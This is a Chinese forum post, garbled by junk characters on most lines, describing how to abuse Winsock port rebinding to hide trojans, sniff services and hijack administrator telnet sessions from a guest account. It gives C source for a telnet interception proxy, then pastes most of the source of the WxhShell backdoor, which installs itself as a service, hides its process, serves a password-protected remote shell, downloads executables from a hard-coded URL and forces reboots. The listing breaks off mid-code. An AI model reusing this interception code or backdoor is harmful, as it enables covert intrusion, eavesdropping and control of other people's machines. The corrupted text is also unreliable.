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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: T-iQ!D~  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);  @k#xr  
32y 9rz  
  saddr.sin_family = AF_INET; Q~n%c7  
3hEbM'L  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); yn20*ix{  
TTWiwPo59  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); U'~]^F%eyu  
m( %PZ*s  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 (/9erfuJ  
PsS.lhj0"  
  这意味着什么?意味着可以进行如下的攻击: -a"b:Q  
I47sqz7  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 2T@?&N^OD  
r gi4>  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) @Jb-[W$*  
i=hA. y`  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 NO/5pz}1  
l<(jm{q?u  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  5zyd;y)|'  
S!^I<#d K  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 x^ cJ~e2  
T[g(S0dz  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 B5R7geC  
\C2HeA\#SW  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Gv[(0  
7 9k+R9m  
  #include P?jI:'u!R.  
  #include 6\VZ 6oS  
  #include eOfVBF<C2  
  #include    -D1 A  
  DWORD WINAPI ClientThread(LPVOID lpParam);   JL<<EPC  
  int main() F7]8*[u  
  { 8%a ^j\L  
  WORD wVersionRequested; zyt >(A1  
  DWORD ret; oh9L2"  
  WSADATA wsaData; >7 cDfv"  
  BOOL val; .ezZ+@LI+#  
  SOCKADDR_IN saddr; _fHj8- s/  
  SOCKADDR_IN scaddr; hM=X# ;  
  int err; ER}5`*X{  
  SOCKET s; d6 9dC*>  
  SOCKET sc; M6V^ur 1  
  int caddsize; dYlVJ_0Zr  
  HANDLE mt; dl`{:ZR S  
  DWORD tid;   9T1 - {s R  
  wVersionRequested = MAKEWORD( 2, 2 ); 3;!!`R>e  
  err = WSAStartup( wVersionRequested, &wsaData ); 2r]o>X  
  if ( err != 0 ) { Ysw&J}6e  
  printf("error!WSAStartup failed!\n"); sv#b5,>9  
  return -1; s"2+H}u   
  } WY5HmNX3E  
  saddr.sin_family = AF_INET; i'1 MZ%.  
   TQ%F\@"  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 %ZDO0P !/  
~~m(CJ4S  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); =8"xQ>D62  
  saddr.sin_port = htons(23); ~0}d=d5g  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ^7t1'A8e<  
  { */|<5X;xIA  
  printf("error!socket failed!\n"); o!c~"  
  return -1; 'TA !JB+  
  } m6A\R KJ'  
  val = TRUE; 6 .[3N~pq  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 HXPq+  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) R+=wSG]  
  { ~8-xj6^  
  printf("error!setsockopt failed!\n"); $' ::51  
  return -1; C AN1~  
  } nV8iYBBym  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; J: I@kM  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 h}DKFrHW;-  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 /xB O;'rR  
x`2du/ C  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) cJM.Q_I}Y  
  { ,e GF~  
  ret=GetLastError(); .*J /F$  
  printf("error!bind failed!\n"); PR,8c  
  return -1; a(G}<  
  } `lt[Q>Z  
  listen(s,2); %u2",eHCB  
  while(1) 4[Wwm  
  { hZ "Sqm]  
  caddsize = sizeof(scaddr); 0JqvV  
  //接受连接请求 [h8macx  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); vY,D02 EMw  
  if(sc!=INVALID_SOCKET) \]dvwN3x  
  { Z.s0ddM s  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); (CJx Y(1K  
  if(mt==NULL) +%K~HYN  
  { o*oFCR]j  
  printf("Thread Creat Failed!\n"); .kgt? r  
  break; 9w=[}<E  
  } k]2_vk^  
  } MN:LL <  
  CloseHandle(mt); E Q:6R|L  
  } yW"[}L h4  
  closesocket(s); azO7C*_  
  WSACleanup(); >&^jKfY  
  return 0; @3S:W2k  
  }   Nu'ox. V  
  DWORD WINAPI ClientThread(LPVOID lpParam) p\.IP2+c  
  { Nx E=^ v  
  SOCKET ss = (SOCKET)lpParam; QUh`kt(E  
  SOCKET sc; 6` Aw!&{  
  unsigned char buf[4096]; s%RG_"l  
  SOCKADDR_IN saddr; cIP%t pTW.  
  long num; +*aC \4w  
  DWORD val; e{ *yV#Wl  
  DWORD ret; Vjd>j; H  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Tk `|{Ph0  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   wrsr U  
  saddr.sin_family = AF_INET; Wv ~&Qh}  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); W! J@30  
  saddr.sin_port = htons(23); 7<Y aw,G  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) =F %lx[9Ye  
  { rd)W+W9  
  printf("error!socket failed!\n"); u1\r:q  
  return -1; *M$'dLn  
  } wxT( ktE  
  val = 100; QV4FA&f&  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 4=N(@mS  
  { Yb1Q6[!  
  ret = GetLastError(); a>Zp?*9  
  return -1; sk AF6n  
  } 62K#rR S  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) bfy=  
  { Jb-.x_Bf  
  ret = GetLastError(); ^`Hb7A(  
  return -1; aK 3'u   
  } 77ztDQDtM  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Ds#BfP7a  
  { ,J:Ro N_:  
  printf("error!socket connect failed!\n"); q>5j (,6F  
  closesocket(sc); c@J@*.q]   
  closesocket(ss); ~@#a*="  
  return -1; +d(|Jid  
  } z\woTL6D]  
  while(1) 8pZOgh  
  { bR8`Y(=F9b  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 NOKU2d4 G  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 yqB!0) <  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 H8 xhE~'t  
  num = recv(ss,buf,4096,0); 0sTR`Xk  
  if(num>0) qdxaP% p2  
  send(sc,buf,num,0); 2u+!7D!w$  
  else if(num==0) Wrh$`JC  
  break; ?0?3yD-!9  
  num = recv(sc,buf,4096,0); [1O{yPV3s  
  if(num>0) X; 6=WqJj  
  send(ss,buf,num,0); ,i8%qm8  
  else if(num==0) B&6lG!K'?  
  break; vhcp[=e :  
  } M}Xf<:g)  
  closesocket(ss); [AA}P/iW  
  closesocket(sc); VKf&}u/  
  return 0 ; /'b7q y  
  } d[XMQX  
"\ =Phqw   
cLw|[!5:  
========================================================== `*D"=5G+  
m;t&P58f  
下边附上一个代码,,WXhSHELL 8_"NF%%(n  
(OA4H1DL^  
========================================================== )4m`Ya,E3  
d`=LZio  
#include "stdafx.h" BRM!g9  
W|y;Kxy  
#include <stdio.h> 5pK _-:?  
#include <string.h> b};o:  
#include <windows.h> Rd|8=`)  
#include <winsock2.h> OHrzN ']  
#include <winsvc.h> '$?!>HN4  
#include <urlmon.h> .J O1kt  
j#Tl\S!m.I  
#pragma comment (lib, "Ws2_32.lib") %l6E0[   
#pragma comment (lib, "urlmon.lib") c*\;!dbP  
bdG@%K',  
#define MAX_USER   100 // 最大客户端连接数 +.OdrvN4)  
#define BUF_SOCK   200 // sock buffer HrfS^B  
#define KEY_BUFF   255 // 输入 buffer 9%1J..c  
P,9Pn)M|  
#define REBOOT     0   // 重启 N"suR}9%  
#define SHUTDOWN   1   // 关机 '2ZvK  
)^+hm+27v  
#define DEF_PORT   5000 // 监听端口 e<[ ] W4"A  
;_2+Y^Qb  
#define REG_LEN     16   // 注册表键长度 QR_h#N2h  
#define SVC_LEN     80   // NT服务名长度 Vzo< ma^  
;BYuNQr  
// 从dll定义API ra>2<  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); -e sQyLx  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); -6~.;M 5  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); WqF$-rBJG^  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); =0!j"z=  
RZ;s_16GQ  
// wxhshell配置信息 V; CPn  
struct WSCFG { S!+>{JyQ  
  int ws_port;         // 监听端口 y@I t#!u0  
  char ws_passstr[REG_LEN]; // 口令 7 nFOV Z  
  int ws_autoins;       // 安装标记, 1=yes 0=no / *PHX@  
  char ws_regname[REG_LEN]; // 注册表键名 %:zu68Q[  
  char ws_svcname[REG_LEN]; // 服务名 'tvuw\hhL  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 P^48]Kj7  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 7 )r L<+  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 _53~D=  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ??U/Qi180  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" \"Y,1in#  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 H-U_  
V)N{Fr)&  
}; ] _5b   
3 yy5 l!fv  
// default Wxhshell configuration 7(N+'8  
struct WSCFG wscfg={DEF_PORT, <aDZ{T%  
    "xuhuanlingzhe", G\TO ]c  
    1, 2E[7RBFY+\  
    "Wxhshell", I[d<SHo  
    "Wxhshell", ]JV'z<  
            "WxhShell Service", ]bY]YNt{7]  
    "Wrsky Windows CmdShell Service", $Ery&rX.  
    "Please Input Your Password: ", ovBmo2W/  
  1, H;l_;c`  
  "http://www.wrsky.com/wxhshell.exe", -Ou.C7ol  
  "Wxhshell.exe" r$}C<a[U  
    }; 8W?dWj  
7t:tS7{}  
// 消息定义模块 oPM*VTMA  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 13`Mt1R  
char *msg_ws_prompt="\n\r? for help\n\r#>"; |K06H ?6X  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; v{fcQb  
char *msg_ws_ext="\n\rExit."; 2wHbhW[  
char *msg_ws_end="\n\rQuit."; y& 1@d+Lf  
char *msg_ws_boot="\n\rReboot..."; nS*Y+Q^9a  
char *msg_ws_poff="\n\rShutdown..."; % hvK;B?Y|  
char *msg_ws_down="\n\rSave to "; )<:TpMdUk  
.\glNH1d  
char *msg_ws_err="\n\rErr!"; T9H*]LxK  
char *msg_ws_ok="\n\rOK!"; 1{ %y(?`  
qS FtQ4  
char ExeFile[MAX_PATH]; JcA+ztPU  
int nUser = 0; F!wz{i6\h  
HANDLE handles[MAX_USER]; c$%*p (zY  
int OsIsNt; nGkSS_X  
W>)0=8#\  
SERVICE_STATUS       serviceStatus; mpMAhm:  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; (r kg0  
X3X_=qzc  
// 函数声明 G9 O6Fi  
int Install(void); ow.!4kx{d  
int Uninstall(void); wz*iwd-  
int DownloadFile(char *sURL, SOCKET wsh); RbXR/Rd  
int Boot(int flag); 5$D"uAp<V  
void HideProc(void); d#H9jg15e  
int GetOsVer(void); PD-&(ka.  
int Wxhshell(SOCKET wsl); b' y*\9Ru  
void TalkWithClient(void *cs); A>1$?A8Q  
int CmdShell(SOCKET sock); O9(z"c  
int StartFromService(void); y~@zfJ5/^  
int StartWxhshell(LPSTR lpCmdLine); Kbf(P95+uL  
vjlN@ "  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Q>Zc eJ;  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); g-~ _gt7  
U`mX f#D  
// 数据结构和表定义 bIAE?D  
SERVICE_TABLE_ENTRY DispatchTable[] = 0f.j W O  
{ <ak[`]  
{wscfg.ws_svcname, NTServiceMain}, 2 HEU  
{NULL, NULL} dD=$$( je  
}; ?<TJ}("/  
49$<:{~  
// 自我安装 7upko9d/  
int Install(void) h @!p:]  
{ hx$61 E=  
  char svExeFile[MAX_PATH]; 7GYf#} N  
  HKEY key; :^v Q4/,  
  strcpy(svExeFile,ExeFile); ]VRa4ZB{u  
=GPXuo  
// 如果是win9x系统,修改注册表设为自启动 3k`Q]O=OU  
if(!OsIsNt) { |Ev|A9J!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { d8wVhZKI"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?K>)bA&l'  
  RegCloseKey(key); J* *(7d  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~v.mbh  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); vSH,fS-n  
  RegCloseKey(key); <\~v$=G  
  return 0; _SAM8!q4,  
    } ,X4+i8Yc  
  } &*=!B9OBI  
} U]=yCEb8p  
else { oAQQ OtpZN  
hul,Yd) Z  
// 如果是NT以上系统,安装为系统服务 / \w4k  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); f^ui Zb  
if (schSCManager!=0) $^ee~v;m4  
{ tDX& ~1s  
  SC_HANDLE schService = CreateService lFjz*g2'  
  ( dFy$w=  
  schSCManager, YsVmU  
  wscfg.ws_svcname, ](w)e p~;3  
  wscfg.ws_svcdisp, i6'=]f'{  
  SERVICE_ALL_ACCESS, /Sw~<B!8N  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , EAGvP&~P  
  SERVICE_AUTO_START, L,[Q/ $S8  
  SERVICE_ERROR_NORMAL, ny5 P*yWEh  
  svExeFile, 1;ttwF>G7  
  NULL, 9|1msg4  
  NULL, iBSM \ n  
  NULL, im2mA8OH  
  NULL, 4>*=q*<V5E  
  NULL .| 4P :r  
  ); ez ,.-@O  
  if (schService!=0) "?NDN4l*  
  { /iU<\+ H  
  CloseServiceHandle(schService); TTz=*t+D  
  CloseServiceHandle(schSCManager); ]y_ :+SHc  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); @7twe;07r  
  strcat(svExeFile,wscfg.ws_svcname); -tj#BEC[H(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { `Nx@MPo  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Z7a@$n3h  
  RegCloseKey(key); WNGX`V,d  
  return 0; WHdMP  
    } :?6HG_9X  
  } ~)U50. CH  
  CloseServiceHandle(schSCManager); &n6{wtBP  
} Z<nNk.G  
} GY%9V5GB  
7g\v (P  
return 1; I2[Z0G@&=  
} <=M5)#  
3 7BSJ   
// 自我卸载 E(~7NRRm  
int Uninstall(void) .q9Sg8G  
{ 3Z XAAV  
  HKEY key; 5whW>T  
pU7;!u:c4%  
if(!OsIsNt) { v`A)GnNiN  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |OH*c3~r  
  RegDeleteValue(key,wscfg.ws_regname); 0;bdwIP3  
  RegCloseKey(key); ,a #>e  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { u#76w74  
  RegDeleteValue(key,wscfg.ws_regname); B$ eM  
  RegCloseKey(key); zm&[K53  
  return 0; 2{79,Js0  
  } fDy*dp4z  
} uy {O   
} Hr?lRaV  
else { A8'RM F1  
sFpg  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 4/ _jrZO  
if (schSCManager!=0) =X R~I  
{ MB)<@.A0  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); @xWWN  
  if (schService!=0) Bb/if:XS  
  { ?'> .>  
  if(DeleteService(schService)!=0) { rN}pi@  
  CloseServiceHandle(schService); & kC  
  CloseServiceHandle(schSCManager); //63|;EEkl  
  return 0; g04^M (  
  } 1&boD\ 7  
  CloseServiceHandle(schService); \CjJa(vV  
  } w}3N!jNDv  
  CloseServiceHandle(schSCManager); EF)BezG5y  
} 5?0<.f,  
} R-Edht|{  
^~~Rto)Y  
return 1; sX1DbEjj[o  
} UIAazDyC  
vbid>$%  
// 从指定url下载文件 |T<aWZb^=  
int DownloadFile(char *sURL, SOCKET wsh) :h(HKMSk1  
{ ?X|)0o  
  HRESULT hr; [MIgQ.n  
char seps[]= "/"; cY5&1Shb~  
char *token; 05wkUo:9  
char *file; v@\S$qU2  
char myURL[MAX_PATH]; `etw[#~N  
char myFILE[MAX_PATH]; Hu|Tj<S  
vb>F)X?b_  
strcpy(myURL,sURL); Ae>+Fcv  
  token=strtok(myURL,seps); poQ_r <I  
  while(token!=NULL) ^#R`Uptib  
  { )g@+ MR  
    file=token; NY.Cr.}  
  token=strtok(NULL,seps); IBa0O|*6  
  } MLd; UHU  
\IL)~5d  
GetCurrentDirectory(MAX_PATH,myFILE); |S8$NI2  
strcat(myFILE, "\\"); :!aLa}`@  
strcat(myFILE, file); ;%n'k  
  send(wsh,myFILE,strlen(myFILE),0); ~@'wqGTp  
send(wsh,"...",3,0); +xYu@r%R  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); YS|Dw'%g /  
  if(hr==S_OK) $Tbsre\MJ  
return 0; m*y&z'e\  
else S`s]zdUTP  
return 1; u9"kF  
:rb;*nY!  
} W8& )UtWQ  
01mu6)  
// 系统电源模块 9k6s  
int Boot(int flag) cO5F=ZxR  
{ 9`f@"%h  
  HANDLE hToken; $FPq8$V  
  TOKEN_PRIVILEGES tkp; {"]!zL  
2^'Ec:|f  
  if(OsIsNt) { ys`-QlkB  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); fG0ZVV!   
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Kd oI  
    tkp.PrivilegeCount = 1; ]aPf-O*  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; do8[wej<:  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); /r7xA}se^  
if(flag==REBOOT) { y(|#!m?@  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) [5&k{*}}  
  return 0; &{j!!LL  
} ?M:>2wl  
else { eA& #33  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 9^/Y7Wp/@  
  return 0; `KZV@t  
} N:lE{IvRJ  
  } ,V1"Typ#<  
  else { _<Ak M"  
if(flag==REBOOT) { ;.4y@?B  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 6Q:Wo)^!  
  return 0; q(n"r0)=  
} `NtW+v  
else { kP`#zwp'Ci  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Zu"qTJE/1  
  return 0; uw3vYYFX  
} xKu#O H  
} znrO~OK  
{F<0e^*  
return 1; 8&EJ. CQ  
} 3k'Bje?9~  
sywuS  
// win9x进程隐藏模块 y`oj\  
void HideProc(void) ,&BNN]k  
{ +2iD9X{$MX  
1{N+B#*<[X  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); .2%t3ul[  
  if ( hKernel != NULL ) =AO (  
  { O|t>.<T?  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); mh8fJ6j29N  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); (xo`*Q,+  
    FreeLibrary(hKernel); Cf(WO-F^  
  } # `^nmC/F  
1@Jp3wW  
return; AUD) =a>  
} @XJ7ff&  
n$2oM5<  
// 获取操作系统版本 WK$\#>T  
int GetOsVer(void) 3VLwY!2:  
{ ?kR1T0lKkE  
  OSVERSIONINFO winfo; B.y}S  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ?pZ"7kkD  
  GetVersionEx(&winfo); _#V&rY&@  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) brmS J7  
  return 1; \a+Q5g  
  else 8-@@QZ\N  
  return 0; *+rfRH]a  
} AO5&Y.A#  
|tAkv  
// 客户端句柄模块 )p>Cf_[.  
int Wxhshell(SOCKET wsl) v]M:HzP  
{ ;U3:1hn  
  SOCKET wsh; z I2DQ] 9  
  struct sockaddr_in client; R3G\Gchd  
  DWORD myID; f" Iui  
2|j=^  
  while(nUser<MAX_USER) t]SB .ja  
{ -+[Lc_oNPx  
  int nSize=sizeof(client); X| \`\[  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); *OA(v^@tx7  
  if(wsh==INVALID_SOCKET) return 1; _>vH%FY  
@RPQ 1da  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); AZ(zM.y!#_  
if(handles[nUser]==0) BI%^7\HZ  
  closesocket(wsh); {#kCqjWG  
else I3 "6"  
  nUser++; GeJ}myD O  
  } s'yR 2JYv  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 2Vti|@JYp  
/k/X[/WO  
  return 0; m}z6Bbis0  
} -F?97&G$  
q;[HUyY,  
// 关闭 socket $9?:P}$v  
void CloseIt(SOCKET wsh) x_~_/&X5  
{ WOn<JCh]  
closesocket(wsh); curYD~7  
nUser--; x'0_lf</ #  
ExitThread(0); '!A}.wF0  
} {F wvuk  
F^/KD<cgK  
// 客户端请求句柄 ^B1Ft5F`b  
void TalkWithClient(void *cs) O1~7#nJ*4[  
{ |@_<^cV110  
ng/h6 S  
  SOCKET wsh=(SOCKET)cs; Q~(Qh_Ff  
  char pwd[SVC_LEN]; sg=G<50i  
  char cmd[KEY_BUFF]; `^Ll@Cx"  
char chr[1]; &wlD`0v  
int i,j; ftpPrtaP  
a+HK fK  
  while (nUser < MAX_USER) { ~IYR&GEaUG  
{XIpH r  
if(wscfg.ws_passstr) { *` mxv0w~(  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); q6pHL  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8KJ`+"<=@  
  //ZeroMemory(pwd,KEY_BUFF); ' ds2\gN  
      i=0; d;<'28A  
  while(i<SVC_LEN) { F5X9)9S  
: j kO  
  // 设置超时 OCu_v%G 0  
  fd_set FdRead; gbYM1guiD  
  struct timeval TimeOut; `^#4okg]  
  FD_ZERO(&FdRead); =~JVU  
  FD_SET(wsh,&FdRead); iDcTO}  
  TimeOut.tv_sec=8; %Mj,\J!  
  TimeOut.tv_usec=0; aAe`o2Xs  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); <.Zh{"$qo  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); OK v2..8  
J-/w{T8:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5wW5 n5YS  
  pwd=chr[0]; +%j27~ R>D  
  if(chr[0]==0xd || chr[0]==0xa) { ,vLQx\m{  
  pwd=0; cWo>DuW&  
  break; Rd HCbk  
  } Iu P~Vt{m  
  i++; ?{aC-3VAT  
    } z2{y<a9;?  
mKu,7nMvF  
  // 如果是非法用户,关闭 socket -BP10-V  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Ms+ekY)  
} $1B?@~&  
0R? @JC  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); h!uyTgq  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Y=|p}>.}  
KDb j C'3  
while(1) { <[n:Ij  
=v^#MU{k?  
  ZeroMemory(cmd,KEY_BUFF); C-S>'\ |8  
k62s|VeU  
      // 自动支持客户端 telnet标准   [-[59 H[6)  
  j=0; C) R hld  
  while(j<KEY_BUFF) { y;CX )!8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); pYzop4  
  cmd[j]=chr[0]; dhA~Yu  
  if(chr[0]==0xa || chr[0]==0xd) { 2]?=\_T  
  cmd[j]=0; LZ_0=Xx%  
  break; )#z{P[X^  
  } 7b08Lo7b  
  j++; ZHjL8Iq  
    } p?#T^{Quz~  
ECA<%'$?E  
  // 下载文件 cH*")oD  
  if(strstr(cmd,"http://")) { @. $- ^-  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); &xB*Shp,B  
  if(DownloadFile(cmd,wsh)) w>cqsTq  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q*I8RAfd  
  else SF-E>s!XL  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D'u7"^=  
  } l0^cdl-  
  else { ,vmn{gz  
)bih>>H  
    switch(cmd[0]) { ~b*]jZwT  
  /0qbRk i  
  // 帮助 YFS6YA  
  case '?': { 0ZwXuq  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); k L6s49  
    break; /d}"s.3p  
  } BFw_T3}zn  
  // 安装 {e|.AD  
  case 'i': { d'Bxi"K  
    if(Install()) 8#JX#<HEo  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); TW>GYGz  
    else w!H(zjv&(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9vyf9QE;  
    break; UL}wGWaoG  
    } deaB_cjdI  
  // 卸载 6d/Q"As  
  case 'r': { n"RV!{&  
    if(Uninstall()) ?ckV 2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b4dviYI  
    else Dfzj/spFV  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J)n_u),  
    break; r@C~_LgL)  
    } UJh;Hp:  
  // 显示 wxhshell 所在路径 1xEOYM)  
  case 'p': { =q]!"yU[d  
    char svExeFile[MAX_PATH]; I ?Dp *u*  
    strcpy(svExeFile,"\n\r"); o$</At  
      strcat(svExeFile,ExeFile); Z6${nUX  
        send(wsh,svExeFile,strlen(svExeFile),0); kd!?N  
    break; @k h<b<a4  
    } 4 j=K3m  
  // 重启 JqMF9|{H  
  case 'b': { hZHM5J~  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); -_Z4)"k  
    if(Boot(REBOOT)) %gO/mj3*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5\z<xpJ  
    else { 8>[g/%W  
    closesocket(wsh); CnL=s6XD'  
    ExitThread(0); PlH~um[J  
    } -!_8>r;Q4  
    break; Kw`CN  
    } BZ:tVfg.  
  // 关机 #at`7#K@  
